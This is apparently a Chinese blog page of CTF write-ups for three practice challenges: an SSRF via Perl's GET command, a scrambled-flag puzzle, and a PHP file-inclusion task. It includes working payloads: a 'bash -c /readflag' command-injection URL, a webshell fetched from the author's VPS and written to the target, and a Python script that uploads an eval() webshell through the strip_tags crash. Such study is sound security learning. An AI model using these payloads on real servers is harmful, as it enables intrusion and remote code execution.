1月13日学习

news2025/1/17 9:20:04

[HITCON 2017]SSRFme

直接给了源代码,题目名称还是ssrf,那么该题大概率就是SSRF的漏洞,进行代码审计。

<?php
    // 检查是否存在 HTTP_X_FORWARDED_FOR 头,如果存在,则将其拆分为数组,并将第一个 IP 地址赋值给 REMOTE_ADDR。
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    // 输出用户的远程地址(IP 地址)。
    echo $_SERVER["REMOTE_ADDR"];

    // 创建一个以用户 IP 地址(结合字符串 "orange")生成的 MD5 哈希值命名的沙盒目录。
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox); // 创建沙盒目录,如果目录已存在,错误将被抑制。
    @chdir($sandbox); // 切换到沙盒目录中。

    // 使用 shell 命令 GET 获取由 URL 参数指定的资源。
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));

    // 解析文件路径信息,获取文件名和目录名等信息。
    $info = pathinfo($_GET["filename"]);
    
    // 去掉目录名中的点号,防止目录穿越漏洞。
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir); // 创建目录,如果目录已存在,错误将被抑制。
    @chdir($dir); // 切换到新创建的目录中。

    // 将获取到的数据写入指定的文件中。
    @file_put_contents(basename($info["basename"]), $data);

    // 高亮显示当前脚本文件的代码。
    highlight_file(__FILE__);

如果存在 HTTP_X_FORWARDED_FOR 头,则使用其第一个值,否则使用 REMOTE_ADDR。接着利用用户 IP 生成的 MD5 值来创建目录,确保每个用户的操作在不同的目录中进行。执行GET拼接shell命令,内容可控。将可控内容写入到可控文件中。

实现发送GET请求给当前GET参数’url‘,并将其结果保存在/sandbox/md5/filename中,其中filename为传入的Get参数。

构造?url=./../../&filename=123

然后访问,目录是 sandbox/(orange+ip)的MD5值/123

可以看到目录,但是不能够直接访问,尝试再多写一个../

 ?url=./../../../&filename=123

再加,最后为?url=./../../../../../&filename=123

已经可以看到根目录下的flag了。还可以看到readflag文件。那么思路就是利用readflag文件读取flag。

 尝试redaflag

?url=/readflag&filename=123

但是访问后是下载了一个二进制文件

并没有执行,那么就尝试将根目录下flag文件的内容写入到我们创建的文件中

利用到bash -c 

  • bash: 这是指 Bash Shell,一种常用的命令行解释器。
  • -c: 选项 -c 表示 Bash 将执行接下来的字符串作为命令。

/?url=file:bash -c /readflag|&filename=bash -c /readflag

file: 协议:通常用于访问文件系统中的文件。

再次传参/?url=file:bash -c /readflag&filename=123

然后访问

但是回显是空的。

 但是还可以使用另一种解法。

在vps上绑定一句话木马进行监听,然后通过GET命令去请求,用$_GET[“filename”]传入的值作为文件名保存。

python3 -m http.server

用python启用一个http服务。

 构造pyalod进行请求

?url=172.17.xx.xx:8000/shell.php&filename=shell.php

然后再去访问,这样就把我们的马子给写进去了。

蚁剑直接连接

但是flag不可以直接打开,需要执行readflag

总结,该题可以使用两种解法,一个是利用原来的readflag文件读取flag,并将读取的结果输入到我们创建的文件中;

第二种就是利用vps,直接把vps的木马挂到我们创建的文件中就可以getshell。

该题的考点是ssrf,GET命令的一个漏洞,GET命令是用perl来执行,而prel的open可以执行命令。

这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理。

这里GET一个根目录,功能类似于ls把它给列出来。

[b01lers2020]Welcome to Earth

一个页面,但是是名为/die/

查看源代码

什么都没有,把/die/删掉看一看

 

可以看到源代码,访问 /chase/

接着访问/leftt/ 

接着访问/shoot/

接着访问/door/

接着访问/static/js/door.js

接着访问/open/

接着访问/static/js/open_sesame.js

最后访问/static/js/fight.js

得到源代码

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
  for (var i = 0; i < key.length; i++) {
    let n = key.charCodeAt(i) % flag.length;
    let temp = flag[i];
    flag[i] = flag[n];
    flag[n] = temp;
  }
  return flag;
}

function check_action() {
  var action = document.getElementById("action").value;
  var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

  // TODO: unscramble function
}

 flag被打乱了,还原flag。

# 从 itertools 库导入 permutations 函数,该函数可以生成给定可迭代对象的所有排列
from itertools import permutations

# 定义一个包含若干字符串元素的列表 flag
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

# 使用 permutations 函数生成 flag 列表中所有元素的排列
item = permutations(flag)

# 遍历所有排列的结果
for i in item:
    # 将当前排列 (元组) 转换为字符串
    k = ''.join(list(i))
    
    # 检查字符串是否以 "pctf{hey_boys" 开头,并且以 "}" 结尾
    if k.startswith('pctf{hey_boys') and k[-1] == '}':
        # 如果条件满足,则打印这个符合条件的字符串
        print(k)

尝试后得到pctf{hey_boys_im_baaaaaaaaaack!}

该题只有排列组合的问题,就算一个一个排列着试都可以得到正确结果。

[NPUCTF2020]ezinclude

显示username和password是错误的。尝试查看源代码。

有了提示,<!--md5($secret.$name)===$pass -->

在进过尝试后发现name和pass是通过get进行传参的。

 可以看到回显有个hash值,猜测可能是md5后的值,传参

/?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

访问flflflflag.php

 

可以看到include($_GET["file"])

构造?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

查看源代码

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
w%ude($_GET["~)^"])

 再扫一下目录,看看还有没有其他可以用的代码。

扫了半天什么都没有扫到,但是看了wp后,存在一个dir.php文件

?file=php://filter/read=convert.base64-encode/resource=dir.php

<?php
var_dump(scandir('/tmp'));
?>

dir.php能打印临时文件夹里的内容.

那么我们就可以把码写到临时文件中。

利用php7 segment fault特性(CVE-2018-14884)

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

strip_tags 过滤器的使用。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

构造payloud

/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

import requests  # 导入requests库,用于处理HTTP请求
from io import BytesIO  # 导入BytesIO,用于在内存中操作字节数据

# 定义需要执行的PHP代码
payload = "<?php eval($_POST[cmd]);?>"  # 这是一个PHP代码片段,可以通过POST数据执行传入的命令

# 准备要发送的数据,模拟一个文件上传
data = {'file': BytesIO(payload.encode())}  # 将payload字符串转换为字节并包装在BytesIO对象中,模拟文件上传

# 定义目标服务器的URL
url = "http://ec4fa282-4f36-4ae3-9a08-56112f3a5155.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
# 这个URL使用了PHP过滤器来访问目标服务器上的'/etc/passwd'文件内容

# 发送POST请求,带上准备好的数据和文件上传
r = requests.post(url=url, files=data, allow_redirects=False)
# 发送POST请求,包含'files'数据,'allow_redirects=False'防止自动重定向

运行脚本后访问/dir.php

得到tmp目录下刚刚我们上传的文件路径:/tmp/phpqUFJz7

利用文件包含

flag在里面。

总结:php://filter的 strip_tags 过滤器在php7导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2277944.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

No.32 笔记 | 业务逻辑漏洞全解析:概念、成因与挖掘思路

业务逻辑漏洞全解析&#xff1a;概念、成因与挖掘思路 核心速览 本文将围绕 业务逻辑漏洞 展开详细探讨&#xff0c;包括 成因、常见类型、重要性 及 具体挖掘方法。业务逻辑漏洞是一种与系统核心功能逻辑深度绑定的漏洞&#xff0c;需结合 代码审计 和 手动测试 进行发现和分…

EF Core实体跟踪

快照更改跟踪 实体类没有实现属性值改变的通知机制&#xff0c;EF Core是如何检测到变化的呢&#xff1f; 快照更改跟踪&#xff1a;首次跟踪一个实体的时候&#xff0c;EF Core 会创建这个实体的快照。执行SaveChanges()等方法时&#xff0c;EF Core将会把存储的快照中的值与…

2023-2024 学年 广东省职业院校技能大赛(高职组)“信息安全管理与评估”赛题一

2023-2024 学年 广东省职业院校技能大赛(高职组“信息安全管理与评估”赛题一&#xff09; 模块一:网络平台搭建与设备安全防护第一阶段任务书任务 1&#xff1a;网络平台搭建任务 2&#xff1a;网络安全设备配置与防护DCRS:DCFW:DCWS:DCBC:WAF: 模块二&#xff1a;网络安全事件…

得物App利用技术赋能,打造潮流消费“新玩法”

如今&#xff0c;技术的力量正在以前所未有的方式重塑着我们的消费体验。从线上购物到虚拟现实&#xff0c;技术的角色越来越重要&#xff0c;它不仅是推动商业发展的引擎&#xff0c;更是满足年轻消费者多元化、个性化需求的关键。得物App作为一个年轻人喜爱的潮流消费平台&am…

语义检索效果差?深度学习rerank VS 统计rerank选哪个

前段时间我开发了一个用白话文搜索语义相近的古诗词的应用&#xff08;详见&#xff1a;《朋友圈装腔指南&#xff1a;如何用向量数据库把大白话变成古诗词》&#xff09;&#xff0c;但是有时候搜索结果却不让人满意&#xff0c;排名靠前的结果和查询的语义没啥关系&#xff0…

数仓建模(三)建模三步走:需求分析、模型设计与数据加载

本文包含&#xff1a; 数据仓库的背景与重要性数据仓库建模的核心目标本文结构概览&#xff1a;需求分析、模型设计与数据加载 目录 第一部分&#xff1a;需求分析 1.1 需求分析的定义与目标 1.2 需求分析的步骤 1.2.1 业务需求收集 1.2.2 技术需求分析 1.2.3 成果输出…

【机器学习】制造业转型:机器学习如何推动工业 4.0 的深度发展

我的个人主页 我的领域&#xff1a;人工智能篇&#xff0c;希望能帮助到大家&#xff01;&#xff01;&#xff01;&#x1f44d;点赞 收藏❤ 引言 在当今科技飞速发展的时代&#xff0c;制造业正经历着前所未有的变革&#xff0c;工业4.0的浪潮席卷而来。工业4.0旨在通过将…

MPLS原理及配置

赶时间可以只看实验部分 由来&#xff1a;90年代中期&#xff0c;互联网流量的快速增长。传统IP报文依赖路由器查询路由表转发&#xff0c;但由于硬件技术存在限制导致转发性能低&#xff0c;查表转发成为了网络数据转发的瓶颈。 因此&#xff0c;旨在提高路由器转发速度的MPL…

小程序如何引入腾讯位置服务

小程序如何引入腾讯位置服务 1.添加服务 登录 微信公众平台 注意&#xff1a;小程序要企业版的 第三方服务 -> 服务 -> 开发者资源 -> 开通腾讯位置服务 在设置 -> 第三方设置 中可以看到开通的服务&#xff0c;如果没有就在插件管理中添加插件 2.腾讯位置服务…

【spring mvc】文件上传、下载

文件上传&#xff0c;存储至本地目录中 一、代码1、工具类&#xff08;敏感后缀过滤&#xff09;2、文件上传&#xff0c;存储至本地3、文件下载 二、效果演示1、上传1.1、postMan 请求1.2、上传效果 2、下载2.1、下载效果 一、代码 1、工具类&#xff08;敏感后缀过滤&#x…

C语言预处理艺术:编译前的魔法之旅

大家好&#xff0c;这里是小编的博客频道 小编的博客&#xff1a;就爱学编程 很高兴在CSDN这个大家庭与大家相识&#xff0c;希望能在这里与大家共同进步&#xff0c;共同收获更好的自己&#xff01;&#xff01;&#xff01; 本文目录 引言正文一、预处理的作用与流程&#xf…

智汇云舟参编《城市轨道交通安全防范系统技术要求》国标正式发布

近日&#xff0c;根据国家标准化管理委员会官网&#xff0c;全国标准信息公共服务平台发布的公告&#xff0c;国家标准《城市轨道交通安全防范系统技术要求》&#xff08;GB/T 26718-2024&#xff09;已由全国城市轨道交通标准化技术委员会上报国家标准化管理委员会&#xff0c…

Linux(Centos7)安装Mysql/Redis/MinIO

安装Mysql 安装Redis 搜索Redis最先版本所在的在线安装yum库 查看以上两个组件是否是开机自启 安装MinIO 开源的对象存储服务&#xff0c;存储非结构化数据&#xff0c;兼容亚马逊S3协议。 minio --help #查询命令帮助minio --server --help #查询--server帮助minio serve…

Python从0到100(八十三):神经网络-使用残差网络RESNET识别手写数字

前言: 零基础学Python:Python从0到100最新最全教程。 想做这件事情很久了,这次我更新了自己所写过的所有博客,汇集成了Python从0到100,共一百节课,帮助大家一个月时间里从零基础到学习Python基础语法、Python爬虫、Web开发、 计算机视觉、机器学习、神经网络以及人工智能…

【漏洞分析】DDOS攻防分析

0x00 UDP攻击实例 2013年12月30日&#xff0c;网游界发生了一起“追杀”事件。事件的主角是PhantmL0rd&#xff08;这名字一看就是个玩家&#xff09;和黑客组织DERP Trolling。 PhantomL0rd&#xff0c;人称“鬼王”&#xff0c;本名James Varga&#xff0c;某专业游戏小组的…

【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理

【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理 项目背景项目实现推理过程训练过程 项目展望写在最后项目下载链接 本文为原创文章&#xff0c;若需要转载&#xff0c;请注明出处。 原文地址&#xff1a;https://blog.csdn.net/qq_30270773/article…

下载文件,浏览器阻止不安全下载

背景&#xff1a; 在项目开发中&#xff0c;遇到需要下载文件的情况&#xff0c;文件类型可能是图片、excell表、pdf、zip等文件类型&#xff0c;但浏览器会阻止不安全的下载链接。 效果展示&#xff1a; 下载文件的两种方式&#xff1a; 一、根据接口的相对url&#xff0c;拼…

如何在谷歌浏览器中设置自定义安全警告

随着网络环境的日益复杂&#xff0c;浏览器的安全问题也愈发引人关注。谷歌浏览器作为一款广泛使用的浏览器&#xff0c;其自定义安全警告功能为用户提供了更加个性化和安全的浏览体验。本文将详细介绍如何在谷歌浏览器中设置自定义安全警告&#xff0c;帮助用户更好地保护自己…

AI 编程工具—Cursor进阶使用 阅读开源项目

AI 编程工具—Cursor进阶使用 阅读开源项目 首先我们打开一个最近很火的项目browser-use ,直接从github 上克隆即可 索引整个代码库 这里我们使用@Codebase 这个选项会索引这个代码库,然后我们再选上这个项目的README.md 文件开始提问 @Codebase @README.md 这个项目是用…

细说STM32F407单片机窗口看门狗WWDG的原理及使用方法

目录 一、窗口看门狗的工作原理 1、递减计数器 2、窗口值和比较器 3、看门狗的启动 4、提前唤醒中断 二、窗口看门狗的HAL驱动程序 1、窗口看门狗初始化 2.窗口看门狗刷新 3.EWI中断及其处理 三、不开启EWI的WWDG示例 1、示例功能 2、项目设置 &#xff08;1&…